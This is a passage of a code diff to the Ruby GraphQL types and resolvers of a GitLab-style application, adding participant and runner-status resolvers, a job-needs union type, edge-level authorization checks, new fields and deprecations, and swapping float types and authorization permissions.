+ previous_stage_jobs_and_needs: [:needs, :pipeline],
artifacts: [:job_artifacts],
pipeline: [:user]
}
diff --git a/app/graphql/resolvers/project_pipeline_resolver.rb b/app/graphql/resolvers/project_pipeline_resolver.rb
index 5acd7f95606..ea733ab08ad 100644
--- a/app/graphql/resolvers/project_pipeline_resolver.rb
+++ b/app/graphql/resolvers/project_pipeline_resolver.rb
@@ -24,7 +24,6 @@ module Resolvers
super
end
- # the preloads are defined on ee/app/graphql/ee/resolvers/project_pipeline_resolver.rb
def resolve(iid: nil, sha: nil, **args)
self.lookahead = args.delete(:lookahead)
@@ -42,5 +41,11 @@ module Resolvers
end
end
end
+
+ def unconditional_includes
+ [
+ { statuses: [:needs] }
+ ]
+ end
end
end
diff --git a/app/graphql/resolvers/project_pipelines_resolver.rb b/app/graphql/resolvers/project_pipelines_resolver.rb
index 5a1e92efc96..47a8b028d4d 100644
--- a/app/graphql/resolvers/project_pipelines_resolver.rb
+++ b/app/graphql/resolvers/project_pipelines_resolver.rb
@@ -18,7 +18,7 @@ module Resolvers
def preloads
{
- jobs: [:statuses],
+ jobs: { statuses_order_id_desc: [:needs] },
upstream: [:triggered_by_pipeline],
downstream: [:triggered_pipelines]
}
diff --git a/app/graphql/resolvers/snippets/blobs_resolver.rb b/app/graphql/resolvers/snippets/blobs_resolver.rb
index 00f41517422..cbbc65d7263 100644
--- a/app/graphql/resolvers/snippets/blobs_resolver.rb
+++ b/app/graphql/resolvers/snippets/blobs_resolver.rb
@@ -35,3 +35,5 @@ module Resolvers
end
end
end
+
+Resolvers::Snippets::BlobsResolver.prepend_mod
diff --git a/app/graphql/resolvers/users/participants_resolver.rb b/app/graphql/resolvers/users/participants_resolver.rb
new file mode 100644
index 00000000000..9e87b60fa34
--- /dev/null
+++ b/app/graphql/resolvers/users/participants_resolver.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Users
+ class ParticipantsResolver < BaseResolver
+ type Types::UserType.connection_type, null: true
+
+ def resolve(**args)
+ object.visible_participants(current_user)
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/base_edge.rb b/app/graphql/types/base_edge.rb
new file mode 100644
index 00000000000..f4409c983f8
--- /dev/null
+++ b/app/graphql/types/base_edge.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Types
+ class BaseEdge < GraphQL::Types::Relay::BaseEdge
+ field_class Types::BaseField
+ end
+end
diff --git a/app/graphql/types/base_field.rb b/app/graphql/types/base_field.rb
index 93e17ea6dfc..75909592c6c 100644
--- a/app/graphql/types/base_field.rb
+++ b/app/graphql/types/base_field.rb
@@ -78,6 +78,8 @@ module Types
attr_reader :feature_flag
def field_authorized?(object, ctx)
+ object = object.node if object.is_a?(GraphQL::Pagination::Connection::Edge)
+
authorization.ok?(object, ctx[:current_user])
end
diff --git a/app/graphql/types/base_object.rb b/app/graphql/types/base_object.rb
index cd677e50d28..b5797f07aa6 100644
--- a/app/graphql/types/base_object.rb
+++ b/app/graphql/types/base_object.rb
@@ -7,6 +7,7 @@ module Types
prepend Gitlab::Graphql::MarkdownField
field_class Types::BaseField
+ edge_type_class Types::BaseEdge
def self.accepts(*types)
@accepts ||= []
diff --git a/app/graphql/types/boards/board_issue_input_type.rb b/app/graphql/types/boards/board_issue_input_type.rb
index b4dbe87e32d..afa66c1c510 100644
--- a/app/graphql/types/boards/board_issue_input_type.rb
+++ b/app/graphql/types/boards/board_issue_input_type.rb
@@ -17,6 +17,10 @@ module Types
argument :assignee_wildcard_id, ::Types::Boards::AssigneeWildcardIdEnum,
required: false,
description: 'Filter by assignee wildcard. Incompatible with assigneeUsername.'
+
+ argument :confidential, GraphQL::Types::Boolean,
+ required: false,
+ description: 'Filter by confidentiality.'
end
end
end
diff --git a/app/graphql/types/ci/build_need_type.rb b/app/graphql/types/ci/build_need_type.rb
index 7bd12c99a08..b71d10c4c06 100644
--- a/app/graphql/types/ci/build_need_type.rb
+++ b/app/graphql/types/ci/build_need_type.rb
@@ -8,7 +8,7 @@ module Types
graphql_name 'CiBuildNeed'
field :id, GraphQL::Types::ID, null: false,
- description: 'ID of the job we need to complete.'
+ description: 'ID of the BuildNeed.'
field :name, GraphQL::Types::String, null: true,
description: 'Name of the job we need to complete.'
end
diff --git a/app/graphql/types/ci/job_need_union.rb b/app/graphql/types/ci/job_need_union.rb
new file mode 100644
index 00000000000..59608a6a312
--- /dev/null
+++ b/app/graphql/types/ci/job_need_union.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Types
+ module Ci
+ class JobNeedUnion < GraphQL::Schema::Union
+ TypeNotSupportedError = Class.new(StandardError)
+
+ possible_types Types::Ci::JobType, Types::Ci::BuildNeedType
+
+ def self.resolve_type(object, context)
+ if object.is_a?(::Ci::BuildNeed)
+ Types::Ci::BuildNeedType
+ elsif object.is_a?(CommitStatus)
+ Types::Ci::JobType
+ else
+ raise TypeNotSupportedError
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/ci/job_type.rb b/app/graphql/types/ci/job_type.rb
index 48bd91bfc5b..928ca2f597d 100644
--- a/app/graphql/types/ci/job_type.rb
+++ b/app/graphql/types/ci/job_type.rb
@@ -50,6 +50,8 @@ module Types
null: true,
description: 'How long the job was enqueued before starting.'
+ field :previous_stage_jobs_or_needs, Types::Ci::JobNeedUnion.connection_type, null: true,
+ description: 'Jobs that must complete before the job runs. Returns `BuildNeed`, which is the needed jobs if the job uses the `needs` keyword, or the previous stage jobs otherwise.'
field :detailed_status, Types::Ci::DetailedStatusType, null: true,
description: 'Detailed status of the job.'
field :artifacts, Types::Ci::JobArtifactType.connection_type, null: true,
@@ -74,7 +76,7 @@ module Types
description: 'Indicates the job is active.'
field :stuck, GraphQL::Types::Boolean, null: false, method: :stuck?,
description: 'Indicates the job is stuck.'
- field :coverage, GraphQL::FLOAT_TYPE, null: true,
+ field :coverage, GraphQL::Types::Float, null: true,
description: 'Coverage level of the job.'
field :created_by_tag, GraphQL::Types::Boolean, null: false,
description: 'Whether the job was created by a tag.'
@@ -101,6 +103,30 @@ module Types
end
end
+ def previous_stage_jobs_or_needs
+ if object.scheduling_type == 'stage'
+ Gitlab::Graphql::Lazy.with_value(previous_stage_jobs) do |jobs|
+ jobs
+ end
+ else
+ object.needs
+ end
+ end
+
+ def previous_stage_jobs
+ BatchLoader::GraphQL.for([object.pipeline, object.stage_idx - 1]).batch(default_value: []) do |tuples, loader|
+ tuples.group_by(&:first).each do |pipeline, keys|
+ positions = keys.map(&:second)
+
+ stages = pipeline.stages.by_position(positions)
+
+ stages.each do |stage|
+ loader.call([pipeline, stage.position], stage.latest_statuses)
+ end
+ end
+ end
+ end
+
def stage
::Gitlab::Graphql::Lazy.with_value(pipeline) do |pl|
BatchLoader::GraphQL.for([pl, object.stage]).batch do |ids, loader|
diff --git a/app/graphql/types/ci/pipeline_type.rb b/app/graphql/types/ci/pipeline_type.rb
index da2f11be9e2..c8ac31bce4d 100644
--- a/app/graphql/types/ci/pipeline_type.rb
+++ b/app/graphql/types/ci/pipeline_type.rb
@@ -45,7 +45,7 @@ module Types
field :queued_duration, Types::DurationType, null: true,
description: 'How long the pipeline was queued before starting.'
- field :coverage, GraphQL::FLOAT_TYPE, null: true,
+ field :coverage, GraphQL::Types::Float, null: true,
description: 'Coverage percentage.'
field :created_at, Types::TimeType, null: false,
@@ -66,7 +66,7 @@ module Types
field :stages,
type: Types::Ci::StageType.connection_type,
null: true,
- authorize: :read_commit_status,
+ authorize: :read_build,
description: 'Stages of the pipeline.',
extras: [:lookahead],
resolver: Resolvers::Ci::PipelineStagesResolver
@@ -89,14 +89,14 @@ module Types
field :jobs,
::Types::Ci::JobType.connection_type,
null: true,
- authorize: :read_commit_status,
+ authorize: :read_build,
description: 'Jobs belonging to the pipeline.',
resolver: ::Resolvers::Ci::JobsResolver
field :job,
type: ::Types::Ci::JobType,
null: true,
- authorize: :read_commit_status,
+ authorize: :read_build,
description: 'Specific job in this pipeline, either by name or ID.' do
argument :id,
type: ::Types::GlobalIDType[::CommitStatus],
@@ -116,7 +116,7 @@ module Types
field :source_job,
type: Types::Ci::JobType,
null: true,
- authorize: :read_commit_status,
+ authorize: :read_build,
description: 'Job where pipeline was triggered from.'
field :downstream, Types::Ci::PipelineType.connection_type, null: true,
diff --git a/app/graphql/types/ci/runner_status_enum.rb b/app/graphql/types/ci/runner_status_enum.rb
index 8501ce20204..dd056191ceb 100644
--- a/app/graphql/types/ci/runner_status_enum.rb
+++ b/app/graphql/types/ci/runner_status_enum.rb
@@ -5,24 +5,37 @@ module Types
class RunnerStatusEnum < BaseEnum
graphql_name 'CiRunnerStatus'
- ::Ci::Runner::AVAILABLE_STATUSES.each do |status|
- description = case status
- when 'active'
- "A runner that is not paused."
- when 'online'
- "A runner that contacted this instance within the last #{::Ci::Runner::ONLINE_CONTACT_TIMEOUT.inspect}."
- when 'offline'
- "A runner that has not contacted this instance within the last #{::Ci::Runner::ONLINE_CONTACT_TIMEOUT.inspect}."
- when 'not_connected'
- "A runner that has never contacted this instance."
- else
- "A runner that is #{status.to_s.tr('_', ' ')}."
- end
-
- value status.to_s.upcase,
- description: description,
- value: status.to_sym
- end
+ value 'ACTIVE',
+ description: 'Runner that is not paused.',
+ deprecated: { reason: 'Use CiRunnerType.active instead', milestone: '14.6' },
+ value: :active
+
+ value 'PAUSED',
+ description: 'Runner that is paused.',
+ deprecated: { reason: 'Use CiRunnerType.active instead', milestone: '14.6' },
+ value: :paused
+
+ value 'ONLINE',
+ description: "Runner that contacted this instance within the last #{::Ci::Runner::ONLINE_CONTACT_TIMEOUT.inspect}.",
+ value: :online
+
+ value 'OFFLINE',
+ description: "Runner that has not contacted this instance within the last #{::Ci::Runner::ONLINE_CONTACT_TIMEOUT.inspect}.",
+ deprecated: { reason: 'This field will have a slightly different scope starting in 15.0, with STALE being returned after a certain period offline', milestone: '14.6' },
+ value: :offline
+
+ value 'STALE',
+ description: "Runner that has not contacted this instance within the last #{::Ci::Runner::STALE_TIMEOUT.inspect}. Only available if legacyMode is null. Will be a possible return value starting in 15.0.",
+ value: :stale
+
+ value 'NOT_CONNECTED',
+ description: 'Runner that has never contacted this instance.',
+ deprecated: { reason: "Use NEVER_CONTACTED instead. NEVER_CONTACTED will have a slightly different scope starting in 15.0, with STALE being returned instead after #{::Ci::Runner::STALE_TIMEOUT.inspect} of no contact", milestone: '14.6' },
+ value: :not_connected
+
+ value 'NEVER_CONTACTED',
+ description: 'Runner that has never contacted this instance. Set legacyMode to null to utilize this value. Will replace NOT_CONNECTED starting in 15.0.',
+ value: :never_contacted
end
end
end
diff --git a/app/graphql/types/ci/runner_type.rb b/app/graphql/types/ci/runner_type.rb
index 9bf98aa7e86..d37cca0927f 100644
--- a/app/graphql/types/ci/runner_type.rb
+++ b/app/graphql/types/ci/runner_type.rb
@@ -27,8 +27,11 @@ module Types
description: 'Access level of the runner.'
field :active, GraphQL::Types::Boolean, null: false,
description: 'Indicates the runner is allowed to receive jobs.'
- field :status, ::Types::Ci::RunnerStatusEnum, null: false,
- description: 'Status of the runner.'
+ field :status,
+ Types::Ci::RunnerStatusEnum,
+ null: false,
+ description: 'Status of the runner.',
+ resolver: ::Resolvers::Ci::RunnerStatusResolver
field :version, GraphQL::Types::String, null: true,
description: 'Version of the runner.'
field :short_sha, GraphQL::Types::String, null: true,
@@ -50,7 +53,7 @@ module Types
field :job_count, GraphQL::Types::Int, null: true,
description: "Number of jobs processed by the runner (limited to #{JOB_COUNT_LIMIT}, plus one to indicate that more items exist)."
field :admin_url, GraphQL::Types::String, null: true,
- description: 'Admin URL of the runner. Only available for adminstrators.'
+ description: 'Admin URL of the runner. Only available for administrators.'
def job_count
# We limit to 1 above the JOB_COUNT_LIMIT to indicate that more items exist after JOB_COUNT_LIMIT
diff --git a/app/graphql/types/ci/runner_web_url_edge.rb b/app/graphql/types/ci/runner_web_url_edge.rb
index 3b9fdfd1571..368e16f972c 100644
--- a/app/graphql/types/ci/runner_web_url_edge.rb
+++ b/app/graphql/types/ci/runner_web_url_edge.rb
@@ -3,7 +3,7 @@
module Types
module Ci
# rubocop: disable Graphql/AuthorizeTypes
- class RunnerWebUrlEdge < GraphQL::Types::Relay::BaseEdge
+ class RunnerWebUrlEdge < ::Types::BaseEdge
include FindClosest
field :web_url, GraphQL::Types::String, null: true,
diff --git a/app/graphql/types/ci/stage_type.rb b/app/graphql/types/ci/stage_type.rb
index c0d931b3d31..70e78e391a7 100644
--- a/app/graphql/types/ci/stage_type.rb
+++ b/app/graphql/types/ci/stage_type.rb
@@ -4,7 +4,7 @@ module Types
module Ci
class StageType < BaseObject
graphql_name 'CiStage'
- authorize :read_commit_status
+ authorize :read_build
field :id, GraphQL::Types::ID, null: false,
description: 'ID of the stage.'
@@ -31,7 +31,10 @@ module Types
BatchLoader::GraphQL.for(key).batch(default_value: []) do |keys, loader|
by_pipeline = keys.group_by(&:pipeline)
- include_needs = keys.any? { |k| k.requires?(%i[nodes jobs nodes needs]) }
+ include_needs = keys.any? do |k|
+ k.requires?(%i[nodes jobs nodes needs]) ||
+ k.requires?(%i[nodes jobs nodes previousStageJobsAndNeeds])
+ end
by_pipeline.each do |pl, key_group|
project = pl.project
diff --git a/app/graphql/types/ci/test_case_type.rb b/app/graphql/types/ci/test_case_type.rb
index 9ec5daa44ea..6e5f55aa3ed 100644
--- a/app/graphql/types/ci/test_case_type.rb
+++ b/app/graphql/types/ci/test_case_type.rb
@@ -18,7 +18,7 @@ module Types
field :classname, GraphQL::Types::String, null: true,
description: 'Classname of the test case.'
- field :execution_time, GraphQL::FLOAT_TYPE, null: true,
+ field :execution_time, GraphQL::Types::Float, null: true,
description: 'Test case execution time in seconds.'
field :file, GraphQL::Types::String, null: true,
diff --git a/app/graphql/types/ci/test_report_total_type.rb b/app/graphql/types/ci/test_report_total_type.rb
index aa07a391519..48aea1257c5 100644
--- a/app/graphql/types/ci/test_report_total_type.rb
+++ b/app/graphql/types/ci/test_report_total_type.rb
@@ -7,7 +7,7 @@ module Types
graphql_name 'TestReportTotal'
description 'Total test report statistics.'
- field :time, GraphQL::FLOAT_TYPE, null: true,
+ field :time, GraphQL::Types::Float, null: true,
description: 'Total duration of the tests.'
field :count, GraphQL::Types::Int, null: true,
diff --git a/app/graphql/types/ci/test_suite_summary_type.rb b/app/graphql/types/ci/test_suite_summary_type.rb
index 3db2d80d591..ec7b852213b 100644
--- a/app/graphql/types/ci/test_suite_summary_type.rb
+++ b/app/graphql/types/ci/test_suite_summary_type.rb
@@ -12,7 +12,7 @@ module Types
field :name, GraphQL::Types::String, null: true,
description: 'Name of the test suite.'
- field :total_time, GraphQL::FLOAT_TYPE, null: true,
+ field :total_time, GraphQL::Types::Float, null: true,
description: 'Total duration of the tests in the test suite.'
field :total_count, GraphQL::Types::Int, null: true,
diff --git a/app/graphql/types/ci/test_suite_type.rb b/app/graphql/types/ci/test_suite_type.rb
index f9f37d4045e..7ce479632cc 100644
--- a/app/graphql/types/ci/test_suite_type.rb
+++ b/app/graphql/types/ci/test_suite_type.rb
@@ -12,7 +12,7 @@ module Types
field :name, GraphQL::Types::String, null: true,
description: 'Name of the test suite.'
- field :total_time, GraphQL::FLOAT_TYPE, null: true,
+ field :total_time, GraphQL::Types::Float, null: true,
description: 'Total duration of the tests in the test suite.'
field :total_count, GraphQL::Types::Int, null: true,
diff --git a/app/graphql/types/clusters/agent_activity_event_type.rb b/app/graphql/types/clusters/agent_activity_event_type.rb
new file mode 100644
index 00000000000..79a9fd70505
--- /dev/null
+++ b/app/graphql/types/clusters/agent_activity_event_type.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Types
+ module Clusters
+ class AgentActivityEventType < BaseObject
+ graphql_name 'ClusterAgentActivityEvent'
+
+ authorize :admin_cluster
+
+ connection_type_class(Types::CountableConnectionType)
+
+ field :recorded_at,
+ Types::TimeType,
+ null: true,
+ description: 'Timestamp the event was recorded.'
+
+ field :kind,
+ GraphQL::Types::String,
+ null: true,
+ description: 'Type of event.'
+
+ field :level,
+ GraphQL::Types::String,
+ null: true,
+ description: 'Severity of the event.'
+
+ field :user,
+ Types::UserType,
+ null: true,
+ description: 'User associated with the event.'
+
+ field :agent_token,
+ Types::Clusters::AgentTokenType,
+ null: true,
+ description: 'Agent token associated with the event.'
+ end
+ end
+end
diff --git a/app/graphql/types/clusters/agent_type.rb b/app/graphql/types/clusters/agent_type.rb
index ce748f6e8ae..89316ed4728 100644
--- a/app/graphql/types/clusters/agent_type.rb
+++ b/app/graphql/types/clusters/agent_type.rb
@@ -55,6 +55,12 @@ module Types
complexity: 5,
resolver: ::Resolvers::Kas::AgentConnectionsResolver
+ field :activity_events,
+ Types::Clusters::AgentActivityEventType.connection_type,
+ null: true,
+ description: 'Recent activity for the cluster agent.',
+ resolver: Resolvers::Clusters::AgentActivityEventsResolver
+
def project
Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.project_id).find
end
diff --git a/app/graphql/types/container_repository_details_type.rb b/app/graphql/types/container_repository_details_type.rb
index 8190cc9bc25..e713aaebe36 100644
--- a/app/graphql/types/container_repository_details_type.rb
+++ b/app/graphql/types/container_repository_details_type.rb
@@ -12,16 +12,11 @@ module Types
Types::ContainerRepositoryTagType.connection_type,
null: true,
description: 'Tags of the container repository.',
- max_page_size: 20
+ max_page_size: 20,
+ resolver: Resolvers::ContainerRepositoryTagsResolver
def can_delete
Ability.allowed?(current_user, :destroy_container_image, object)
end
-
- def tags
- object.tags
- rescue Faraday::Error
- raise ::Gitlab::Graphql::Errors::ResourceNotAvailable, 'We are having trouble connecting to the Container Registry. If this error persists, please review the troubleshooting documentation.'
- end
end
end
diff --git a/app/graphql/types/container_repository_tags_sort_enum.rb b/app/graphql/types/container_repository_tags_sort_enum.rb
new file mode 100644
index 00000000000..253cffd9a8c
--- /dev/null
+++ b/app/graphql/types/container_repository_tags_sort_enum.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Types
+ class ContainerRepositoryTagsSortEnum < BaseEnum
+ graphql_name 'ContainerRepositoryTagSort'
+ description 'Values for sorting tags'
+
+ value 'NAME_ASC', 'Ordered by name in ascending order.', value: :name_asc
+ value 'NAME_DESC', 'Ordered by name in descending order.', value: :name_desc
+ end
+end
diff --git a/app/graphql/types/issue_type.rb b/app/graphql/types/issue_type.rb
index 3b0f93d8dc1..498569f11ca 100644
--- a/app/graphql/types/issue_type.rb
+++ b/app/graphql/types/issue_type.rb
@@ -80,7 +80,8 @@ module Types
description: 'Relative position of the issue (used for positioning in epic tree and issue boards).'
field :participants, Types::UserType.connection_type, null: true, complexity: 5,
- description: 'List of participants in the issue.'
+ description: 'List of participants in the issue.',
+ resolver: Resolvers::Users::ParticipantsResolver
field :emails_disabled, GraphQL::Types::Boolean, null: false,
method: :project_emails_disabled?,
description: 'Indicates if a project has email notifications disabled: `true` if email notifications are disabled.'
diff --git a/app/graphql/types/issue_type_enum.rb b/app/graphql/types/issue_type_enum.rb
index 6999ea270a2..0cfba6bbbd0 100644
--- a/app/graphql/types/issue_type_enum.rb
+++ b/app/graphql/types/issue_type_enum.rb
@@ -5,7 +5,7 @@ module Types
graphql_name 'IssueType'
description 'Issue type'
- ::WorkItem::Type.base_types.keys.each do |issue_type|
+ ::WorkItem::Type.allowed_types_for_issues.each do |issue_type|
value issue_type.upcase, value: issue_type, description: "#{issue_type.titleize} issue type"
end
end
diff --git a/app/graphql/types/merge_request_connection_type.rb b/app/graphql/types/merge_request_connection_type.rb
index d009b67bc0f..9596c812c69 100644
--- a/app/graphql/types/merge_request_connection_type.rb
+++ b/app/graphql/types/merge_request_connection_type.rb
@@ -3,7 +3,7 @@
module Types
# rubocop: disable Graphql/AuthorizeTypes
class MergeRequestConnectionType < Types::CountableConnectionType
- field :total_time_to_merge, GraphQL::FLOAT_TYPE, null: true,
+ field :total_time_to_merge, GraphQL::Types::Float, null: true,
description: 'Total sum of time to merge, in seconds, for the collection of merge requests.'
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/graphql/types/merge_request_type.rb b/app/graphql/types/merge_request_type.rb
index a0f00ddc3c6..0672ec6f0f8 100644
--- a/app/graphql/types/merge_request_type.rb
+++ b/app/graphql/types/merge_request_type.rb
@@ -21,10 +21,8 @@ module Types
description: 'Internal ID of the merge request.'
field :title, GraphQL::Types::String, null: false,
description: 'Title of the merge request.'
- markdown_field :title_html, null: true
field :description, GraphQL::Types::String, null: true,
description: 'Description of the merge request (Markdown rendered as HTML for caching).'
- markdown_field :description_html, null: true
field :state, MergeRequestStateEnum, null: false,
description: 'State of the merge request.'
field :created_at, Types::TimeType, null: false,
@@ -96,7 +94,7 @@ module Types
description: 'Rebase commit SHA of the merge request.'
field :rebase_in_progress, GraphQL::Types::Boolean, method: :rebase_in_progress?, null: false, calls_gitaly: true,
description: 'Indicates if there is a rebase currently in progress for the merge request.'
- field :default_merge_commit_message, GraphQL::Types::String, null: true,
+ field :default_merge_commit_message, GraphQL::Types::String, null: true, calls_gitaly: true,
description: 'Default merge commit message of the merge request.'
field :default_merge_commit_message_with_description, GraphQL::Types::String, null: true,
description: 'Default merge commit message of the merge request with description. Will have the same value as `defaultMergeCommitMessage` when project has `mergeCommitTemplate` set.',
@@ -148,7 +146,8 @@ module Types
field :author, Types::UserType, null: true,
description: 'User who created this merge request.'
field :participants, Types::UserType.connection_type, null: true, complexity: 15,
- description: 'Participants in the merge request. This includes the author, assignees, reviewers, and users mentioned in notes.'
+ description: 'Participants in the merge request. This includes the author, assignees, reviewers, and users mentioned in notes.',
+ resolver: Resolvers::Users::ParticipantsResolver
field :subscribed, GraphQL::Types::Boolean, method: :subscribed?, null: false, complexity: 5,
description: 'Indicates if the currently logged in user is subscribed to this merge request.'
field :labels, Types::LabelType.connection_type, null: true, complexity: 5,
@@ -201,6 +200,9 @@ module Types
field :timelogs, Types::TimelogType.connection_type, null: false,
description: 'Timelogs on the merge request.'
+ markdown_field :title_html, null: true
+ markdown_field :description_html, null: true
+
def approved_by
object.approved_by_users
end
diff --git a/app/graphql/types/namespace_type.rb b/app/graphql/types/namespace_type.rb
index 3c5994ac559..ba90fb06cb2 100644
--- a/app/graphql/types/namespace_type.rb
+++ b/app/graphql/types/namespace_type.rb
@@ -20,7 +20,6 @@ module Types
field :description, GraphQL::Types::String, null: true,
description: 'Description of the namespace.'
- markdown_field :description_html, null: true
field :visibility, GraphQL::Types::String, null: true,
description: 'Visibility of the namespace.'
@@ -47,6 +46,8 @@ module Types
null: true,
description: "Shared runners availability for the namespace and its descendants."
+ markdown_field :description_html, null: true
+
def root_storage_statistics
Gitlab::Graphql::Loaders::BatchRootStorageStatisticsLoader.new(object.id).find
end
diff --git a/app/graphql/types/notes/note_type.rb b/app/graphql/types/notes/note_type.rb
index da6ea83401d..7314c137010 100644
--- a/app/graphql/types/notes/note_type.rb
+++ b/app/graphql/types/notes/note_type.rb
@@ -33,8 +33,6 @@ module Types
method: :note,
description: 'Content of the note.'
- markdown_field :body_html, null: true, method: :note
-
field :created_at, Types::TimeType, null: false,
description: 'Timestamp of the note creation.'
field :updated_at, Types::TimeType, null: false,
@@ -50,6 +48,8 @@ module Types
null: true,
description: 'URL to view this Note in the Web UI.'
+ markdown_field :body_html, null: true, method: :note
+
def url
::Gitlab::UrlBuilder.build(object)
end
diff --git a/app/graphql/types/packages/package_details_type.rb b/app/graphql/types/packages/package_details_type.rb
index 59a4885e87e..5ac80860fe2 100644
--- a/app/graphql/types/packages/package_details_type.rb
+++ b/app/graphql/types/packages/package_details_type.rb
@@ -14,6 +14,13 @@ module Types
field :dependency_links, Types::Packages::PackageDependencyLinkType.connection_type, null: true, description: 'Dependency link.'
+ # this is an override of Types::Packages::PackageType.pipelines
+ # in order to use a custom resolver: Resolvers::PackagePipelinesResolver
+ field :pipelines,
+ resolver: Resolvers::PackagePipelinesResolver,
+ description: 'Pipelines that built the package.',
+ deprecated: { reason: 'Due to scalability concerns, this field is going to be removed', milestone: '14.6' }
+
def versions
object.versions
end
diff --git a/app/graphql/types/packages/package_type.rb b/app/graphql/types/packages/package_type.rb
index 9851c6aec7e..d1312cb963d 100644
--- a/app/graphql/types/packages/package_type.rb
+++ b/app/graphql/types/packages/package_type.rb
@@ -21,7 +21,8 @@ module Types
field :tags, Types::Packages::PackageTagType.connection_type, null: true, description: 'Package tags.'
field :project, Types::ProjectType, null: false, description: 'Project where the package is stored.'
field :pipelines, Types::Ci::PipelineType.connection_type, null: true,
- description: 'Pipelines that built the package.'
+ description: 'Pipelines that built the package.',
+ deprecated: { reason: 'Due to scalability concerns, this field is going to be removed', milestone: '14.6' }
field :metadata, Types::Packages::MetadataType, null: true,
description: 'Package metadata.'
field :versions, ::Types::Packages::PackageType.connection_type, null: true,
diff --git a/app/graphql/types/project_statistics_type.rb b/app/graphql/types/project_statistics_type.rb
index 60a3d5ce06b..ab2b9c2a3af 100644
--- a/app/graphql/types/project_statistics_type.rb
+++ b/app/graphql/types/project_statistics_type.rb
@@ -6,26 +6,26 @@ module Types
authorize :read_statistics
- field :commit_count, GraphQL::FLOAT_TYPE, null: false,
+ field :commit_count, GraphQL::Types::Float, null: false,
description: 'Commit count of the project.'
- field :storage_size, GraphQL::FLOAT_TYPE, null: false,
+ field :storage_size, GraphQL::Types::Float, null: false,
description: 'Storage size of the project in bytes.'
- field :repository_size, GraphQL::FLOAT_TYPE, null: false,
+ field :repository_size, GraphQL::Types::Float, null: false,
description: 'Repository size of the project in bytes.'
- field :lfs_objects_size, GraphQL::FLOAT_TYPE, null: false,
+ field :lfs_objects_size, GraphQL::Types::Float, null: false,
description: 'Large File Storage (LFS) object size of the project in bytes.'
- field :build_artifacts_size, GraphQL::FLOAT_TYPE, null: false,
+ field :build_artifacts_size, GraphQL::Types::Float, null: false,
description: 'Build artifacts size of the project in bytes.'
- field :packages_size, GraphQL::FLOAT_TYPE, null: false,
+ field :packages_size, GraphQL::Types::Float, null: false,
description: 'Packages size of the project in bytes.'
- field :wiki_size, GraphQL::FLOAT_TYPE, null: true,
+ field :wiki_size, GraphQL::Types::Float, null: true,
description: 'Wiki size of the project in bytes.'
- field :snippets_size, GraphQL::FLOAT_TYPE, null: true,
+ field :snippets_size, GraphQL::Types::Float, null: true,
description: 'Snippets size of the project in bytes.'
- field :pipeline_artifacts_size, GraphQL::FLOAT_TYPE, null: true,
+ field :pipeline_artifacts_size, GraphQL::Types::Float, null: true,
description: 'CI Pipeline artifacts size in bytes.'
- field :uploads_size, GraphQL::FLOAT_TYPE, null: true,
+ field :uploads_size, GraphQL::Types::Float, null: true,
description: 'Uploads size of the project in bytes.'
end
end
diff --git a/app/graphql/types/project_type.rb b/app/graphql/types/project_type.rb
index b6cb9cd3302..3d2ee47a499 100644
--- a/app/graphql/types/project_type.rb
+++ b/app/graphql/types/project_type.rb
@@ -194,7 +194,7 @@ module Types
field :jobs,
type: Types::Ci::JobType.connection_type,
null: true,
- authorize: :read_commit_status,
+ authorize: :read_build,
description: 'Jobs of a project. This field can only be resolved for one project in any single request.',
resolver: Resolvers::ProjectJobsResolver
@@ -386,6 +386,11 @@ module Types
null: true,
description: 'Template used to create merge commit message in merge requests.'
+ field :squash_commit_template,
+ GraphQL::Types::String,
+ null: true,
+ description: 'Template used to create squash commit message in merge requests.'
+
def label(title:)
BatchLoader::GraphQL.for(title).batch(key: project) do |titles, loader, args|
LabelsFinder
diff --git a/app/graphql/types/repository/blob_type.rb b/app/graphql/types/repository/blob_type.rb
index 104171e6772..3265c14bdca 100644
--- a/app/graphql/types/repository/blob_type.rb
+++ b/app/graphql/types/repository/blob_type.rb
@@ -71,6 +71,10 @@ module Types
field :pipeline_editor_path, GraphQL::Types::String, null: true,
description: 'Web path to edit .gitlab-ci.yml file.'
+ field :code_owners, [Types::UserType], null: true,
+ description: 'List of code owners for the blob.',
+ calls_gitaly: true
+
field :file_type, GraphQL::Types::String, null: true,
description: 'Expected format of the blob based on the extension.'
@@ -91,6 +95,9 @@ module Types
calls_gitaly: true,
description: 'Whether the current user can modify the blob.'
+ field :can_current_user_push_to_branch, GraphQL::Types::Boolean, null: true, method: :can_current_user_push_to_branch?,
+ description: 'Whether the current user can push to the branch.'
+
def raw_text_blob
object.data unless object.binary?
end
@@ -101,3 +108,5 @@ module Types
end
end
end
+
+Types::Repository::BlobType.prepend_mod_with('Types::Repository::BlobType')
diff --git a/app/graphql/types/root_storage_statistics_type.rb b/app/graphql/types/root_storage_statistics_type.rb
index 47ca195cc4b..88dc6036bfd 100644
--- a/app/graphql/types/root_storage_statistics_type.rb
+++ b/app/graphql/types/root_storage_statistics_type.rb
@@ -6,14 +6,14 @@ module Types
authorize :read_statistics
- field :storage_size, GraphQL::FLOAT_TYPE, null: false, description: 'Total storage in bytes.'
- field :repository_size, GraphQL::FLOAT_TYPE, null: false, description: 'Git repository size in bytes.'
- field :lfs_objects_size, GraphQL::FLOAT_TYPE, null: false, description: 'LFS objects size in bytes.'
- field :build_artifacts_size, GraphQL::FLOAT_TYPE, null: false, description: 'CI artifacts size in bytes.'
- field :packages_size, GraphQL::FLOAT_TYPE, null: false, description: 'Packages size in bytes.'
- field :wiki_size, GraphQL::FLOAT_TYPE, null: false, description: 'Wiki size in bytes.'
- field :snippets_size, GraphQL::FLOAT_TYPE, null: false, description: 'Snippets size in bytes.'
- field :pipeline_artifacts_size, GraphQL::FLOAT_TYPE, null: false, description: 'CI pipeline artifacts size in bytes.'
- field :uploads_size, GraphQL::FLOAT_TYPE, null: false, description: 'Uploads size in bytes.'
+ field :storage_size, GraphQL::Types::Float, null: false, description: 'Total storage in bytes.'
